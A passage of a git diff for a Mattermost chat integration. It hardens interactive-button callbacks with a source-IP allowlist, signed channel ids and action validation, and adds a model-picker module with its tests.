b/extensions/mattermost/src/channel.ts index 00e4c69e0f7..b9f5a3bc85d 100644 --- a/extensions/mattermost/src/channel.ts +++ b/extensions/mattermost/src/channel.ts @@ -26,11 +26,6 @@ import { listMattermostDirectoryGroups, listMattermostDirectoryPeers, } from "./mattermost/directory.js"; -import { - buildButtonAttachments, - resolveInteractionCallbackUrl, - setInteractionSecret, -} from "./mattermost/interactions.js"; import { monitorMattermostProvider } from "./mattermost/monitor.js"; import { probeMattermost } from "./mattermost/probe.js"; import { addMattermostReaction, removeMattermostReaction } from "./mattermost/reactions.js"; @@ -160,54 +155,14 @@ const mattermostMessageActions: ChannelMessageActionAdapter = { const replyToId = typeof params.replyToId === "string" ? params.replyToId : undefined; const resolvedAccountId = accountId || undefined; - // Build props with button attachments if buttons are provided - let props: Record | undefined; - if (params.buttons && Array.isArray(params.buttons)) { - const account = resolveMattermostAccount({ cfg, accountId: resolvedAccountId }); - if (account.botToken) setInteractionSecret(account.accountId, account.botToken); - const callbackUrl = resolveInteractionCallbackUrl(account.accountId, { - gateway: cfg.gateway, - interactions: account.config.interactions, - }); - - // Flatten 2D array (rows of buttons) to 1D — core schema sends Array> - // but Mattermost doesn't have row layout, so we flatten all rows into a single list. - // Also supports 1D arrays for backward compatibility. - const rawButtons = (params.buttons as Array).flatMap((item) => - Array.isArray(item) ? item : [item], - ) as Array>; - - const buttons = rawButtons - .map((btn) => ({ - id: String(btn.id ?? btn.callback_data ?? ""), - name: String(btn.text ?? btn.name ?? btn.label ?? ""), - style: (btn.style as "default" | "primary" | "danger") ?? "default", - context: - typeof btn.context === "object" && btn.context !== null - ? (btn.context as Record) - : undefined, - })) - .filter((btn) => btn.id && btn.name); - - const attachmentText = - typeof params.attachmentText === "string" ? params.attachmentText : undefined; - props = { - attachments: buildButtonAttachments({ - callbackUrl, - accountId: account.accountId, - buttons, - text: attachmentText, - }), - }; - } - const mediaUrl = typeof params.media === "string" ? params.media.trim() || undefined : undefined; const result = await sendMessageMattermost(to, message, { accountId: resolvedAccountId, replyToId, - props, + buttons: Array.isArray(params.buttons) ? params.buttons : undefined, + attachmentText: typeof params.attachmentText === "string" ? params.attachmentText : undefined, mediaUrl, }); diff --git a/extensions/mattermost/src/config-schema.ts b/extensions/mattermost/src/config-schema.ts index 12acabf5b7d..51d9bdbe33a 100644 --- a/extensions/mattermost/src/config-schema.ts +++ b/extensions/mattermost/src/config-schema.ts @@ -53,6 +53,7 @@ const MattermostAccountSchemaBase = z interactions: z .object({ callbackBaseUrl: z.string().optional(), + allowedSourceIps: z.array(z.string()).optional(), }) .optional(), }) diff --git a/extensions/mattermost/src/mattermost/interactions.test.ts b/extensions/mattermost/src/mattermost/interactions.test.ts index 19d39676a27..a6379a52664 100644 --- a/extensions/mattermost/src/mattermost/interactions.test.ts +++ b/extensions/mattermost/src/mattermost/interactions.test.ts @@ -1,5 +1,5 @@ import { type IncomingMessage, type ServerResponse } from "node:http"; -import { describe, expect, it, beforeEach, afterEach } from "vitest"; +import { describe, expect, it, beforeEach, afterEach, vi } from "vitest"; import { setMattermostRuntime } from "../runtime.js"; import { resolveMattermostAccount } from "./accounts.js"; import type { MattermostClient } from "./client.js"; @@ -109,6 +109,53 @@ describe("generateInteractionToken / verifyInteractionToken", () => { expect(verifyInteractionToken(reorderedContext, token)).toBe(true); }); + it("verifies nested context regardless of nested key order", () => { + const originalContext = { + action_id: "nested", + payload: { + model: "gpt-5", + meta: { + provider: "openai", + page: 2, + }, + }, + }; + const token = generateInteractionToken(originalContext); + + const reorderedContext = { + payload: { + meta: { + page: 2, + provider: "openai", + }, + model: "gpt-5", + }, + action_id: "nested", + }; + + expect(verifyInteractionToken(reorderedContext, token)).toBe(true); + }); + + it("rejects nested context tampering", () => { + const originalContext = { + action_id: "nested", + payload: { + provider: "openai", + model: "gpt-5", + }, + }; + const token = generateInteractionToken(originalContext); + const tamperedContext = { + action_id: "nested", + payload: { + provider: "anthropic", + model: "gpt-5", + }, + }; + + expect(verifyInteractionToken(tamperedContext, token)).toBe(false); + }); + it("scopes tokens per account when account secrets differ", () => { setInteractionSecret("acct-a", "bot-token-a"); setInteractionSecret("acct-b", "bot-token-b"); @@ -400,12 +447,14 @@ describe("createMattermostInteractionHandler", () => { method?: string; body?: unknown; remoteAddress?: string; + headers?: Record; }): IncomingMessage { const body = params.body === undefined ? "" : JSON.stringify(params.body); const listeners = new Map void>>(); const req = { method: params.method ?? "POST", + headers: params.headers ?? {}, socket: { remoteAddress: params.remoteAddress ?? "203.0.113.10" }, on(event: string, handler: (...args: unknown[]) => void) { const existing = listeners.get(event) ?? []; @@ -447,8 +496,14 @@ describe("createMattermostInteractionHandler", () => { return res as unknown as ServerResponse & { headers: Record; body: string }; } - it("accepts non-localhost requests when the interaction token is valid", async () => { - const context = { action_id: "approve" }; + async function runApproveInteraction(params?: { + actionName?: string; + allowedSourceIps?: string[]; + trustedProxies?: string[]; + remoteAddress?: string; + headers?: Record; + }) { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; const token = generateInteractionToken(context, "acct"); const requestLog: Array<{ path: string; method?: string }> = []; const handler = createMattermostInteractionHandler({ @@ -459,19 +514,25 @@ describe("createMattermostInteractionHandler", () => { return { id: "post-1" }; } return { + channel_id: "chan-1", message: "Choose", props: { - attachments: [{ actions: [{ id: "approve", name: "Approve" }] }], + attachments: [ + { actions: [{ id: "approve", name: params?.actionName ?? "Approve" }] }, + ], }, }; }, } as unknown as MattermostClient, botUserId: "bot", accountId: "acct", + allowedSourceIps: params?.allowedSourceIps, + trustedProxies: params?.trustedProxies, }); const req = createReq({ - remoteAddress: "198.51.100.8", + remoteAddress: params?.remoteAddress, + headers: params?.headers, body: { user_id: "user-1", user_name: "alice", @@ -481,8 +542,45 @@ describe("createMattermostInteractionHandler", () => { }, }); const res = createRes(); - await handler(req, res); + return { res, requestLog }; + } + + async function runInvalidActionRequest(actionId: string) { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const handler = createMattermostInteractionHandler({ + client: { + request: async () => ({ + channel_id: "chan-1", + message: "Choose", + props: { + attachments: [{ actions: [{ id: actionId, name: actionId }] }], + }, + }), + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); + + const req = createReq({ + body: { + user_id: "user-1", + channel_id: "chan-1", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + await handler(req, res); + return res; + } + + it("accepts callback requests from an allowlisted source IP", async () => { + const { res, requestLog } = await runApproveInteraction({ + allowedSourceIps: ["198.51.100.8"], + remoteAddress: "198.51.100.8", + }); expect(res.statusCode).toBe(200); expect(res.body).toBe("{}"); @@ -492,6 +590,49 @@ describe("createMattermostInteractionHandler", () => { ]); }); + it("accepts forwarded Mattermost source IPs from a trusted proxy", async () => { + const { res } = await runApproveInteraction({ + allowedSourceIps: ["198.51.100.8"], + trustedProxies: ["127.0.0.1"], + remoteAddress: "127.0.0.1", + headers: { "x-forwarded-for": "198.51.100.8" }, + }); + + expect(res.statusCode).toBe(200); + expect(res.body).toBe("{}"); + }); + + it("rejects callback requests from non-allowlisted source IPs", async () => { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const handler = createMattermostInteractionHandler({ + client: { + request: async () => { + throw new Error("should not fetch post for rejected origins"); + }, + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + allowedSourceIps: ["127.0.0.1"], + }); + + const req = createReq({ + remoteAddress: "198.51.100.8", + body: { + user_id: "user-1", + channel_id: "chan-1", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Forbidden origin"); + }); + it("rejects requests with an invalid interaction token", async () => { const handler = createMattermostInteractionHandler({ client: { @@ -516,4 +657,142 @@ describe("createMattermostInteractionHandler", () => { expect(res.statusCode).toBe(403); expect(res.body).toContain("Invalid token"); }); + + it("rejects requests when the signed channel does not match the callback payload", async () => { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const handler = createMattermostInteractionHandler({ + client: { + request: async () => ({ message: "unused" }), + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); + + const req = createReq({ + body: { + user_id: "user-1", + channel_id: "chan-2", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Channel mismatch"); + }); + + it("rejects requests when the fetched post does not belong to the callback channel", async () => { + const context = { action_id: "approve", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const handler = createMattermostInteractionHandler({ + client: { + request: async () => ({ + channel_id: "chan-9", + message: "Choose", + props: { + attachments: [{ actions: [{ id: "approve", name: "Approve" }] }], + }, + }), + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + }); + + const req = createReq({ + body: { + user_id: "user-1", + channel_id: "chan-1", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Post/channel mismatch"); + }); + + it("rejects requests when the action is not present on the fetched post", async () => { + const res = await runInvalidActionRequest("reject"); + + expect(res.statusCode).toBe(403); + expect(res.body).toContain("Unknown action"); + }); + + it("accepts actions when the button name matches the action id", async () => { + const { res, requestLog } = await runApproveInteraction({ + actionName: "approve", + }); + + expect(res.statusCode).toBe(200); + expect(res.body).toBe("{}"); + expect(requestLog).toEqual([ + { path: "/posts/post-1", method: undefined }, + { path: "/posts/post-1", method: "PUT" }, + ]); + }); + + it("lets a custom interaction handler short-circuit generic completion updates", async () => { + const context = { action_id: "mdlprov", __openclaw_channel_id: "chan-1" }; + const token = generateInteractionToken(context, "acct"); + const requestLog: Array<{ path: string; method?: string }> = []; + const handleInteraction = vi.fn().mockResolvedValue({ + ephemeral_text: "Only the original requester can use this picker.", + }); + const dispatchButtonClick = vi.fn(); + const handler = createMattermostInteractionHandler({ + client: { + request: async (path: string, init?: { method?: string }) => { + requestLog.push({ path, method: init?.method }); + return { + channel_id: "chan-1", + message: "Choose", + props: { + attachments: [{ actions: [{ id: "mdlprov", name: "Browse providers" }] }], + }, + }; + }, + } as unknown as MattermostClient, + botUserId: "bot", + accountId: "acct", + handleInteraction, + dispatchButtonClick, + }); + + const req = createReq({ + body: { + user_id: "user-2", + user_name: "alice", + channel_id: "chan-1", + post_id: "post-1", + context: { ...context, _token: token }, + }, + }); + const res = createRes(); + + await handler(req, res); + + expect(res.statusCode).toBe(200); + expect(res.body).toBe( + JSON.stringify({ + ephemeral_text: "Only the original requester can use this picker.", + }), + ); + expect(requestLog).toEqual([{ path: "/posts/post-1", method: undefined }]); + expect(handleInteraction).toHaveBeenCalledWith( + expect.objectContaining({ + actionId: "mdlprov", + actionName: "Browse providers", + originalMessage: "Choose", + userName: "alice", + }), + ); + expect(dispatchButtonClick).not.toHaveBeenCalled(); + }); }); diff --git a/extensions/mattermost/src/mattermost/interactions.ts b/extensions/mattermost/src/mattermost/interactions.ts index 33415ae519c..9e888d658cb 100644 --- a/extensions/mattermost/src/mattermost/interactions.ts +++ b/extensions/mattermost/src/mattermost/interactions.ts @@ -1,11 +1,16 @@ import { createHmac, timingSafeEqual } from "node:crypto"; import type { IncomingMessage, ServerResponse } from "node:http"; -import type { OpenClawConfig } from "openclaw/plugin-sdk/mattermost"; +import { + isTrustedProxyAddress, + resolveClientIp, + type OpenClawConfig, +} from "openclaw/plugin-sdk/mattermost"; import { getMattermostRuntime } from "../runtime.js"; import { updateMattermostPost, type MattermostClient } from "./client.js"; const INTERACTION_MAX_BODY_BYTES = 64 * 1024; const INTERACTION_BODY_TIMEOUT_MS = 10_000; +const SIGNED_CHANNEL_ID_CONTEXT_KEY = "__openclaw_channel_id"; /** * Mattermost interactive message callback payload. @@ -32,6 +37,16 @@ export type MattermostInteractionResponse = { ephemeral_text?: string; }; +export type MattermostInteractiveButtonInput = { + id?: string; + callback_data?: string; + text?: string; + name?: string; + label?: string; + style?: "default" | "primary" | "danger"; + context?: Record; +}; + // ── Callback URL registry ────────────────────────────────────────────── const callbackUrls = new Map(); @@ -65,6 +80,34 @@ function normalizeCallbackBaseUrl(baseUrl: string): string { return baseUrl.trim().replace(/\/+$/, ""); } +function headerValue(value: string | string[] | undefined): string | undefined { + if (Array.isArray(value)) { + return value[0]?.trim() || undefined; + } + return value?.trim() || undefined; +} + +function isAllowedInteractionSource(params: { + req: IncomingMessage; + allowedSourceIps?: string[]; + trustedProxies?: string[]; + allowRealIpFallback?: boolean; +}): boolean { + const { allowedSourceIps } = params; + if (!allowedSourceIps?.length) { + return true; + } + + const clientIp = resolveClientIp({ + remoteAddr: params.req.socket?.remoteAddress, + forwardedFor: headerValue(params.req.headers["x-forwarded-for"]), + realIp: headerValue(params.req.headers["x-real-ip"]), + trustedProxies: params.trustedProxies, + allowRealIpFallback: params.allowRealIpFallback, + }); + return isTrustedProxyAddress(clientIp, allowedSourceIps); +} + /** * Resolve the interaction callback URL for an account. * Falls back to computing it from interactions.callbackBaseUrl or gateway host config. @@ -151,13 +194,26 @@ export function getInteractionSecret(accountId?: string): string { ); } +function canonicalizeInteractionContext(value: unknown): unknown { + if (Array.isArray(value)) { + return value.map((item) => canonicalizeInteractionContext(item)); + } + if (value && typeof value === "object") { + const entries = Object.entries(value as Record) + .filter(([, entryValue]) => entryValue !== undefined) + .sort(([left], [right]) => left.localeCompare(right)) + .map(([key, entryValue]) => [key, canonicalizeInteractionContext(entryValue)]); + return Object.fromEntries(entries); + } + return value; +} + export function generateInteractionToken( context: Record, accountId?: string, ): string { const secret = getInteractionSecret(accountId); - // Sort keys for stable serialization — Mattermost may reorder context keys - const payload = JSON.stringify(context, Object.keys(context).sort()); + const payload = JSON.stringify(canonicalizeInteractionContext(context)); return createHmac("sha256", secret).update(payload).digest("hex"); } @@ -250,6 +306,46 @@ export function buildButtonAttachments(params: { ]; } +export function buildButtonProps(params: { + callbackUrl: string; + accountId?: string; + channelId: string; + buttons: Array; + text?: string; +}): Record | undefined { + const rawButtons = params.buttons.flatMap((item) => + Array.isArray(item) ? item : [item], + ) as MattermostInteractiveButtonInput[]; + + const buttons = rawButtons + .map((btn) => ({ + id: String(btn.id ?? btn.callback_data ?? "").trim(), + name: String(btn.text ?? btn.name ?? btn.label ?? "").trim(), + style: btn.style ?? "default", + context: + typeof btn.context === "object" && btn.context !== null + ? { + ...btn.context, + [SIGNED_CHANNEL_ID_CONTEXT_KEY]: params.channelId, + } + : { [SIGNED_CHANNEL_ID_CONTEXT_KEY]: params.channelId }, + })) + .filter((btn) => btn.id && btn.name); + + if (buttons.length === 0) { + return undefined; + } + + return { + attachments: buildButtonAttachments({ + callbackUrl: params.callbackUrl, + accountId: params.accountId, + buttons, + text: params.text, + }), + }; +} + // ── Request body reader ──────────────────────────────────────────────── function readInteractionBody(req: IncomingMessage): Promise { @@ -291,7 +387,18 @@ export function createMattermostInteractionHandler(params: { client: MattermostClient; botUserId: string; accountId: string; + allowedSourceIps?: string[]; + trustedProxies?: string[]; + allowRealIpFallback?: boolean; resolveSessionKey?: (channelId: string, userId: string) => Promise; + handleInteraction?: (opts: { + payload: MattermostInteractionPayload; + userName: string; + actionId: string; + actionName: string; + originalMessage: string; + context: Record; + }) => Promise; dispatchButtonClick?: (opts: { channelId: string; userId: string; @@ -315,6 +422,23 @@ export function createMattermostInteractionHandler(params: { return; } + if ( + !isAllowedInteractionSource({ + req, + allowedSourceIps: params.allowedSourceIps, + trustedProxies: params.trustedProxies, + allowRealIpFallback: params.allowRealIpFallback, + }) + ) { + log?.( + `mattermost interaction: rejected callback source remote=${req.socket?.remoteAddress ?? "?"}`, + ); + res.statusCode = 403; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Forbidden origin" })); + return; + } + let payload: MattermostInteractionPayload; try { const raw = await readInteractionBody(req); @@ -363,11 +487,99 @@ export function createMattermostInteractionHandler(params: { return; } + const signedChannelId = + typeof contextWithoutToken[SIGNED_CHANNEL_ID_CONTEXT_KEY] === "string" + ? contextWithoutToken[SIGNED_CHANNEL_ID_CONTEXT_KEY].trim() + : ""; + if (signedChannelId && signedChannelId !== payload.channel_id) { + log?.( + `mattermost interaction: signed channel mismatch payload=${payload.channel_id} signed=${signedChannelId}`, + ); + res.statusCode = 403; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Channel mismatch" })); + return; + } + + const userName = payload.user_name ?? payload.user_id; + let originalMessage = ""; + let clickedButtonName: string | null = null; + try { + const originalPost = await client.request<{ + channel_id?: string | null; + message?: string; + props?: Record; + }>(`/posts/${payload.post_id}`); + const postChannelId = originalPost.channel_id?.trim(); + if (!postChannelId || postChannelId !== payload.channel_id) { + log?.( + `mattermost interaction: post channel mismatch payload=${payload.channel_id} post=${postChannelId ?? ""}`, + ); + res.statusCode = 403; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Post/channel mismatch" })); + return; + } + originalMessage = originalPost.message ?? ""; + + // Ensure the callback can only target an action that exists on the original post. + const postAttachments = Array.isArray(originalPost?.props?.attachments) + ? (originalPost.props.attachments as Array<{ + actions?: Array<{ id?: string; name?: string }>; + }>) + : []; + for (const att of postAttachments) { + const match = att.actions?.find((a) => a.id === actionId); + if (match?.name) { + clickedButtonName = match.name; + break; + } + } + if (clickedButtonName === null) { + log?.(`mattermost interaction: action ${actionId} not found in post ${payload.post_id}`); + res.statusCode = 403; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Unknown action" })); + return; + } + } catch (err) { + log?.(`mattermost interaction: failed to validate post ${payload.post_id}: ${String(err)}`); + res.statusCode = 500; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Failed to validate interaction" })); + return; + } + log?.( `mattermost interaction: action=${actionId} user=${payload.user_name ?? payload.user_id} ` + `post=${payload.post_id} channel=${payload.channel_id}`, ); + if (params.handleInteraction) { + try { + const response = await params.handleInteraction({ + payload, + userName, + actionId, + actionName: clickedButtonName, + originalMessage, + context: contextWithoutToken, + }); + if (response !== null) { + res.statusCode = 200; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify(response)); + return; + } + } catch (err) { + log?.(`mattermost interaction: custom handler failed: ${String(err)}`); + res.statusCode = 500; + res.setHeader("Content-Type", "application/json"); + res.end(JSON.stringify({ error: "Interaction handler failed" })); + return; + } + } + // Dispatch as system event so the agent can handle it. // Wrapped in try/catch — the post update below must still run even if // system event dispatch fails (e.g. missing sessionKey or channel lookup). @@ -389,34 +601,6 @@ export function createMattermostInteractionHandler(params: { log?.(`mattermost interaction: system event dispatch failed: ${String(err)}`); } - // Fetch the original post to preserve its message and find the clicked button name. - const userName = payload.user_name ?? payload.user_id; - let originalMessage = ""; - let clickedButtonName = actionId; // fallback to action ID if we can't find the name - try { - const originalPost = await client.request<{ - message?: string; - props?: Record; - }>(`/posts/${payload.post_id}`); - originalMessage = originalPost?.message ?? ""; - - // Find the clicked button's display name from the original attachments - const postAttachments = Array.isArray(originalPost?.props?.attachments) - ? (originalPost.props.attachments as Array<{ - actions?: Array<{ id?: string; name?: string }>; - }>) - : []; - for (const att of postAttachments) { - const match = att.actions?.find((a) => a.id === actionId); - if (match?.name) { - clickedButtonName = match.name; - break; - } - } - } catch (err) { - log?.(`mattermost interaction: failed to fetch post ${payload.post_id}: ${String(err)}`); - } - // Update the post via API to replace buttons with a completion indicator. try { await updateMattermostPost(client, payload.post_id, { diff --git a/extensions/mattermost/src/mattermost/model-picker.test.ts b/extensions/mattermost/src/mattermost/model-picker.test.ts new file mode 100644 index 00000000000..b448339523e --- /dev/null +++ b/extensions/mattermost/src/mattermost/model-picker.test.ts @@ -0,0 +1,155 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import type { OpenClawConfig } from "openclaw/plugin-sdk/mattermost"; +import { buildModelsProviderData } from "openclaw/plugin-sdk/mattermost"; +import { describe, expect, it } from "vitest"; +import { + buildMattermostAllowedModelRefs, + parseMattermostModelPickerContext, + renderMattermostModelSummaryView, + renderMattermostModelsPickerView, + renderMattermostProviderPickerView, + resolveMattermostModelPickerCurrentModel, + resolveMattermostModelPickerEntry, +} from "./model-picker.js"; + +const data = { + byProvider: new Map>([ + ["anthropic", new Set(["claude-opus-4-5", "claude-sonnet-4-5"])], + ["openai", new Set(["gpt-4.1", "gpt-5"])], + ]), + providers: ["anthropic", "openai"], + resolvedDefault: { + provider: "anthropic", + model: "claude-opus-4-5", + }, +}; + +describe("Mattermost model picker", () => { + it("resolves bare /model and /models entry points", () => { + expect(resolveMattermostModelPickerEntry("/model")).toEqual({ kind: "summary" }); + expect(resolveMattermostModelPickerEntry("/models")).toEqual({ kind: "providers" }); + expect(resolveMattermostModelPickerEntry("/models OpenAI")).toEqual({ + kind: "models", + provider: "openai", + }); + expect(resolveMattermostModelPickerEntry("/model openai/gpt-5")).toBeNull(); + }); + + it("builds the allowed model refs set", () => { + expect(buildMattermostAllowedModelRefs(data)).toEqual( + new Set([ + "anthropic/claude-opus-4-5", + "anthropic/claude-sonnet-4-5", + "openai/gpt-4.1", + "openai/gpt-5", + ]), + ); + }); + + it("renders the summary view with a browse button", () => { + const view = renderMattermostModelSummaryView({ + ownerUserId: "user-1", + currentModel: "openai/gpt-5", + }); + + expect(view.text).toContain("Current: openai/gpt-5"); + expect(view.text).toContain("Tap below to browse models"); + expect(view.text).toContain("/oc_model to switch"); + expect(view.buttons[0]?.[0]?.text).toBe("Browse providers"); + }); + + it("renders providers and models with Telegram-style navigation", () => { + const providersView = renderMattermostProviderPickerView({ + ownerUserId: "user-1", + data, + currentModel: "openai/gpt-5", + }); + const providerTexts = providersView.buttons.flat().map((button) => button.text); + expect(providerTexts).toContain("anthropic (2)"); + expect(providerTexts).toContain("openai (2)"); + + const modelsView = renderMattermostModelsPickerView({ + ownerUserId: "user-1", + data, + provider: "openai", + page: 1, + currentModel: "openai/gpt-5", + }); + const modelTexts = modelsView.buttons.flat().map((button) => button.text); + expect(modelsView.text).toContain("Models (openai) - 2 available"); + expect(modelTexts).toContain("gpt-5 [current]"); + expect(modelTexts).toContain("Back to providers"); + }); + + it("renders unique alphanumeric action ids per button", () => { + const modelsView = renderMattermostModelsPickerView({ + ownerUserId: "user-1", + data, + provider: "openai", + page: 1, + currentModel: "openai/gpt-5", + }); + + const ids = modelsView.buttons.flat().map((button) => button.id); + expect(ids.every((id) => typeof id === "string" && /^[a-z0-9]+$/.test(id))).toBe(true); + expect(new Set(ids).size).toBe(ids.length); + }); + + it("parses signed picker contexts", () => { + expect( + parseMattermostModelPickerContext({ + oc_model_picker: true, + action: "select", + ownerUserId: "user-1", + provider: "openai", + page: 2, + model: "gpt-5", + }), + ).toEqual({ + action: "select", + ownerUserId: "user-1", + provider: "openai", + page: 2, + model: "gpt-5", + }); + expect(parseMattermostModelPickerContext({ action: "select" })).toBeNull(); + }); + + it("falls back to the routed agent default model when no override is stored", async () => { + const testDir = fs.mkdtempSync(path.join(os.tmpdir(), "mm-model-picker-")); + try { + const cfg: OpenClawConfig = { + session: { + store: path.join(testDir, "{agentId}.json"), + }, + agents: { + defaults: { + model: "anthropic/claude-opus-4-5", + }, + list: [ + { + id: "support", + model: "openai/gpt-5", + }, + ], + }, + }; + const providerData = await buildModelsProviderData(cfg, "support"); + + expect( + resolveMattermostModelPickerCurrentModel({ + cfg, + route: { + agentId: "support", + sessionKey: "agent:support:main", + }, + data: providerData, + }), + ).toBe("openai/gpt-5"); + } finally { + fs.rmSync(testDir, { recursive: true, force: true }); + } + }); +}); diff --git a/extensions/mattermost/src/mattermost/model-picker.ts b/extensions/mattermost/src/mattermost/model-picker.ts new file mode 100644 index 00000000000..42462180901 --- /dev/null +++ b/extensions/mattermost/src/mattermost/model-picker.ts @@ -0,0 +1,383 @@ +import { createHash } from "node:crypto"; +import { + loadSessionStore, + normalizeProviderId, + resolveStorePath, + resolveStoredModelOverride, + type ModelsProviderData, + type OpenClawConfig, +} from "openclaw/plugin-sdk/mattermost"; +import type { MattermostInteractiveButtonInput } from "./interactions.js"; + +const MATTERMOST_MODEL_PICKER_CONTEXT_KEY = "oc_model_picker"; +const MODELS_PAGE_SIZE = 8; +const ACTION_IDS = { + providers: "mdlprov", + list: "mdllist", + select: "mdlsel", + back: "mdlback", +} as const; + +export type MattermostModelPickerEntry = + | { kind: "summary" } + | { kind: "providers" } + | { kind: "models"; provider: string }; + +export type MattermostModelPickerState = + | { action: "providers"; ownerUserId: string } + | { action: "back"; ownerUserId: string } + | { action: "list"; ownerUserId: string; provider: string; page: number } + | { action: "select"; ownerUserId: string; provider: string; page: number; model: string }; + +export type MattermostModelPickerRenderedView = { + text: string; + buttons: MattermostInteractiveButtonInput[][]; +}; + +function splitModelRef(modelRef?: string | null): { provider: string; model: string } | null { + const trimmed = modelRef?.trim(); + if (!trimmed) { + return null; + } + const slashIndex = trimmed.indexOf("/"); + if (slashIndex <= 0 || slashIndex >= trimmed.length - 1) { + return null; + } + const provider = normalizeProviderId(trimmed.slice(0, slashIndex)); + const model = trimmed.slice(slashIndex + 1).trim(); + if (!provider || !model) { + return null; + } + return { provider, model }; +} + +function normalizePage(value: number | undefined): number { + if (!Number.isFinite(value)) { + return 1; + } + return Math.max(1, Math.floor(value as number)); +} + +function paginateItems(items: T[], page?: number, pageSize = MODELS_PAGE_SIZE) { + const totalPages = Math.max(1, Math.ceil(items.length / pageSize)); + const safePage = Math.max(1, Math.min(normalizePage(page), totalPages)); + const start = (safePage - 1) * pageSize; + return { + items: items.slice(start, start + pageSize), + page: safePage, + totalPages, + hasPrev: safePage > 1, + hasNext: safePage < totalPages, + totalItems: items.length, + }; +} + +function buildContext(state: MattermostModelPickerState): Record { + return { + [MATTERMOST_MODEL_PICKER_CONTEXT_KEY]: true, + ...state, + }; +} + +function buildButtonId(state: MattermostModelPickerState): string { + const digest = createHash("sha256").update(JSON.stringify(state)).digest("hex").slice(0, 12); + return `${ACTION_IDS[state.action]}${digest}`; +} + +function buildButton(params: { + action: MattermostModelPickerState["action"]; + ownerUserId: string; + text: string; + provider?: string; + page?: number; + model?: string; + style?: "default" | "primary" | "danger"; +}): MattermostInteractiveButtonInput { + const baseState = + params.action === "providers" || params.action === "back" + ? { + action: params.action, + ownerUserId: params.ownerUserId, + } + : params.action === "list" + ? { + action: "list" as const, + ownerUserId: params.ownerUserId, + provider: normalizeProviderId(params.provider ?? ""), + page: normalizePage(params.page), + } + : { + action: "select" as const, + ownerUserId: params.ownerUserId, + provider: normalizeProviderId(params.provider ?? ""), + page: normalizePage(params.page), + model: String(params.model ?? "").trim(), + }; + + return { + // Mattermost requires action IDs to be unique within a post. + id: buildButtonId(baseState), + text: params.text, + ...(params.style ? { style: params.style } : {}), + context: buildContext(baseState), + }; +} + +function getProviderModels(data: ModelsProviderData, provider: string): string[] { + return [...(data.byProvider.get(normalizeProviderId(provider)) ?? new Set())].toSorted(); +} + +function formatCurrentModelLine(currentModel?: string): string { + const parsed = splitModelRef(currentModel); + if (!parsed) { + return "Current: default"; + } + return `Current: ${parsed.provider}/${parsed.model}`; +} + +export function resolveMattermostModelPickerEntry( + commandText: string, +): MattermostModelPickerEntry | null { + const normalized = commandText.trim().replace(/\s+/g, " "); + if (/^\/model$/i.test(normalized)) { + return { kind: "summary" }; + } + if (/^\/models$/i.test(normalized)) { + return { kind: "providers" }; + } + const providerMatch = normalized.match(/^\/models\s+(\S+)$/i); + if (!providerMatch?.[1]) { + return null; + } + return { + kind: "models", + provider: normalizeProviderId(providerMatch[1]), + }; +} + +export function parseMattermostModelPickerContext( + context: Record, +): MattermostModelPickerState | null { + if (!context || context[MATTERMOST_MODEL_PICKER_CONTEXT_KEY] !== true) { + return null; + } + + const ownerUserId = String(context.ownerUserId ?? "").trim(); + const action = String(context.action ?? "").trim(); + if (!ownerUserId) { + return null; + } + + if (action === "providers" || action === "back") { + return { action, ownerUserId }; + } + + const provider = normalizeProviderId(String(context.provider ?? "")); + const page = Number.parseInt(String(context.page ?? "1"), 10); + if (!provider) { + return null; + } + + if (action === "list") { + return { + action, + ownerUserId, + provider, + page: normalizePage(page), + }; + } + + if (action === "select") { + const model = String(context.model ?? "").trim(); + if (!model) { + return null; + } + return { + action, + ownerUserId, + provider, + page: normalizePage(page), + model, + }; + } + + return null; +} + +export function buildMattermostAllowedModelRefs(data: ModelsProviderData): Set { + const refs = new Set(); + for (const provider of data.providers) { + for (const model of data.byProvider.get(provider) ?? []) { + refs.add(`${provider}/${model}`); + } + } + return refs; +} + +export function resolveMattermostModelPickerCurrentModel(params: { + cfg: OpenClawConfig; + route: { agentId: string; sessionKey: string }; + data: ModelsProviderData; + skipCache?: boolean; +}): string { + const fallback = `${params.data.resolvedDefault.provider}/${params.data.resolvedDefault.model}`; + try { + const storePath = resolveStorePath(params.cfg.session?.store, { + agentId: params.route.agentId, + }); + const sessionStore = params.skipCache + ? loadSessionStore(storePath, { skipCache: true }) + : loadSessionStore(storePath); + const sessionEntry = sessionStore[params.route.sessionKey]; + const override = resolveStoredModelOverride({ + sessionEntry, + sessionStore, + sessionKey: params.route.sessionKey, + }); + if (!override?.model) { + return fallback; + } + const provider = (override.provider || params.data.resolvedDefault.provider).trim(); + return provider ? `${provider}/${override.model}` : fallback; + } catch { + return fallback; + } +} + +export function renderMattermostModelSummaryView(params: { + ownerUserId: string; + currentModel?: string; +}): MattermostModelPickerRenderedView { + return { + text: [ + formatCurrentModelLine(params.currentModel), + "", + "Tap below to browse models, or use:", + "/oc_model to switch", + 